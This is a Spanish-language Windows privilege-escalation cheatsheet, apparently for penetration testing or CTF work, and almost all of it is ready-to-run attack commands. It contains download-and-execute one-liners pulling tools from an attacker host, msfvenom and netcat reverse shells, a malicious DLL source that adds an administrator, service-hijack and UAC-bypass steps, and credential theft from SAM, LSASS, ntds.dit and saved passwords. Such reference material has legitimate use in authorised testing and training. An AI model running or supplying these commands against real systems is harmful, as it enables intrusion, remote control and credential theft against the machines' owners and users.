Cheatsheet de Escalación de Privilegios en Windows

:: Info básica
whoami
whoami /priv
whoami /groups
hostname
systeminfo

:: OS y arquitectura
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

:: Hotfixes — parches faltantes = posibles kernel exploits
wmic qfe list brief
systeminfo | findstr /B /C:"KB"

:: Red
ipconfig /all
route print
netstat -ano
arp -a

# Equivalentes en PowerShell
[System.Environment]::OSVersion
Get-HotFix
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}

net user
net user Administrator
net localgroup
net localgroup Administrators

:: Revisar Windows Defender
sc query WinDefend

:: Firewall
netsh advfirewall show allprofiles
netsh firewall show state

:: Revisar si AMSI está activo (PowerShell)

Get-MpComputerStatus
Get-MpPreference | Select-Object -Property ExclusionPath

:: Transferir y correr
certutil -urlcache -f http://%ATTACKER%:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe

:: O correr desde memoria (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://%ATTACKER%:8000/winPEAS.bat')

. .\PowerUp.ps1
Invoke-AllChecks

# O one-liner
IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/PowerUp.ps1'); Invoke-AllChecks

.\Seatbelt.exe -group=all

.\SharpUp.exe audit

:: Encontrar unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode

:: Revisar si podés escribir en un directorio intermedio
icacls "C:\Program Files\My Service"

:: Tirar tu payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"

:: Reiniciar el servicio (necesitas permisos o esperar reboot)
sc stop "ServiceName"
sc start "ServiceName"

:: Revisar permisos de servicios con accesschk
accesschk64.exe /accepteula -uwcqv "Everyone" *
accesschk64.exe /accepteula -uwcqv "Users" *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
accesschk64.exe /accepteula -uwcqv %USERNAME% *

:: Revisar servicio específico
sc qc "ServiceName"
accesschk64.exe /accepteula -ucqv "ServiceName"

:: Cambiar binpath a tu payload
sc config "ServiceName" binpath= "C:\Users\Public\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"

:: O agregarte como admin
sc config "ServiceName" binpath= "net localgroup Administrators %USERNAME% /add"
sc stop "ServiceName"
sc start "ServiceName"

:: Revisar permisos del binario del servicio
icacls "C:\path\to\service.exe"

:: Reemplazar el binario
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"
copy C:\Users\Public\shell.exe "C:\path\to\service.exe"
sc stop "ServiceName"
sc start "ServiceName"

:: Revisar permisos de registry para servicios
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List

:: Si es escribible, cambiar ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

:: Usar Process Monitor (si tenés acceso a GUI)
:: Filtro: Result = "NAME NOT FOUND" y Path termina con ".dll"

:: O revisar directorios del PATH por acceso de escritura
echo %PATH%
:: Revisar cada directorio con icacls
icacls "C:\path\in\PATH"

// malicious.c — genera reverse shell o agrega admin
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
    if (ul_reason == DLL_PROCESS_ATTACH) {
        system("net localgroup Administrators youruser /add");
        // O: system("C:\\Users\\Public\\nc.exe -e cmd.exe ATTACKER 9001");
    }
    return TRUE;
}

# Cross-compilar en Kali
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll

:: Colocar DLL en la ubicación esperada
copy malicious.dll "C:\path\to\expected\missing.dll"
:: Reiniciar el servicio o esperar

:: GodPotato (probar este primero)
.\GodPotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\GodPotato.exe -cmd "net localgroup Administrators $USERNAME /add"

:: PrintSpoofer
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\PrintSpoofer64.exe -i -c cmd

:: SweetPotato
.\SweetPotato.exe -e EfsRpc -p C:\Users\Public\nc.exe -a "-e cmd.exe $ATTACKER 9001"

:: JuicyPotato (sistemas viejos)
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\shell.exe -t * -c {CLSID}

:: Revisar
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Revisión en PowerShell
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Get-ItemProperty -Path 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

# Generar MSI malicioso en el atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f msi -o shell.msi

:: Instalar en el target
msiexec /quiet /qn /i C:\Users\Public\shell.msi

:: Credenciales guardadas
cmdkey /list

:: Si existen creds guardadas para admin
runas /savecred /user:Administrator cmd.exe

:: Credenciales de Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

:: Passwords VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

:: Sesiones guardadas de PuTTY
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

:: SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"

:: Buscar passwords en registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

:: Archivos comunes de passwords
dir /s /b C:\Users\*.txt 2>nul | findstr /i "pass"
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*.ini 2>nul
dir /s /b C:\Users\*.config 2>nul

:: Archivos Unattend / sysprep (frecuentemente contienen passwords)
dir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf C:\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\unattend\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul

:: Config de IIS
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul

:: Historial de PowerShell
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Historial de PowerShell para todos los usuarios
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>$null | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }

:: Si podés acceder estos, dumpear hashes offline
reg save HKLM\SAM C:\Users\Public\sam.bak
reg save HKLM\SYSTEM C:\Users\Public\system.bak

:: O buscar copias de backup
dir /s /b C:\Windows\repair\SAM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul

# En el atacante — extraer hashes
secretsdump.py -sam sam.bak -system system.bak LOCAL

:: Listar DPAPI credential blobs
dir /a C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

:: Mimikatz para desencriptar
dpapi::cred /in:C:\Users\user\AppData\...\credential_blob

:: Listar todas las scheduled tasks
schtasks /query /fo LIST /v

:: Buscar tasks corriendo como SYSTEM con binarios escribibles
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"

:: Revisar permisos del binario de la task
icacls "C:\path\to\task\binary.exe"

Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | ForEach-Object { $_.Actions }

:: 32-bit
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"

:: 64-bit
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"

:: O simplemente mirar
dir "C:\Program Files"
dir "C:\Program Files (x86)"

searchsploit "software name"

systeminfo
wmic qfe list brief

# En el atacante — usar Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2026-03-24-mssb.xls --systeminfo sysinfo.txt

# O wesng
python3 wes.py sysinfo.txt

:: PrintNightmare (variante local privesc)
:: Revisar si Print Spooler está corriendo
sc query spooler

:: HiveNightmare — revisar si las shadow copies de SAM son legibles
icacls C:\Windows\System32\config\SAM
:: Si "BUILTIN\Users:(I)(RX)" → vulnerable
:: Explotar:
.\HiveNightmare.exe

:: Revisar nivel de integridad
whoami /groups | findstr "Mandatory"

:: Si Medium Mandatory Level — UAC te está bloqueando

# UAC bypass común — fodhelper
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd /c C:\Users\Public\shell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# Limpiar
Remove-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Recurse -Force

:: eventvwr bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd /c C:\Users\Public\shell.exe" /f
eventvwr.msc

:: Copiar SAM y SYSTEM
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system

:: O usar robocopy con backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp\ secret.txt

:: Dumpear LSASS
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

:: O usar Mimikatz
privilege::debug
sekurlsa::logonpasswords

:: Crear shadow copy
vssadmin create shadow /for=C:

:: Copiar archivos del shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\

:: netsh (built-in, no necesitas herramientas)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080

:: Chisel
:: Atacante: chisel server --reverse --port 8001
.\chisel.exe client ATTACKER:8001 R:8080:127.0.0.1:8080

:: plink (PuTTY command-line)
plink.exe -ssh -l user -pw password -R 8080:127.0.0.1:8080 ATTACKER

:: certutil
certutil -urlcache -f http://%ATTACKER%:8000/file.exe file.exe

:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8000/file.exe','C:\Users\Public\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://$ATTACKER:8000/file.exe' -OutFile 'C:\Users\Public\file.exe'"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/script.ps1')"

:: SMB (más fácil para archivos grandes)
:: Atacante: impacket-smbserver share . -smb2support -username user -password pass
net use \\$ATTACKER\share /user:user pass
copy \\$ATTACKER\share\file.exe C:\Users\Public\

:: Bitsadmin
bitsadmin /transfer job /download /priority high http://$ATTACKER:8000/file.exe C:\Users\Public\file.exe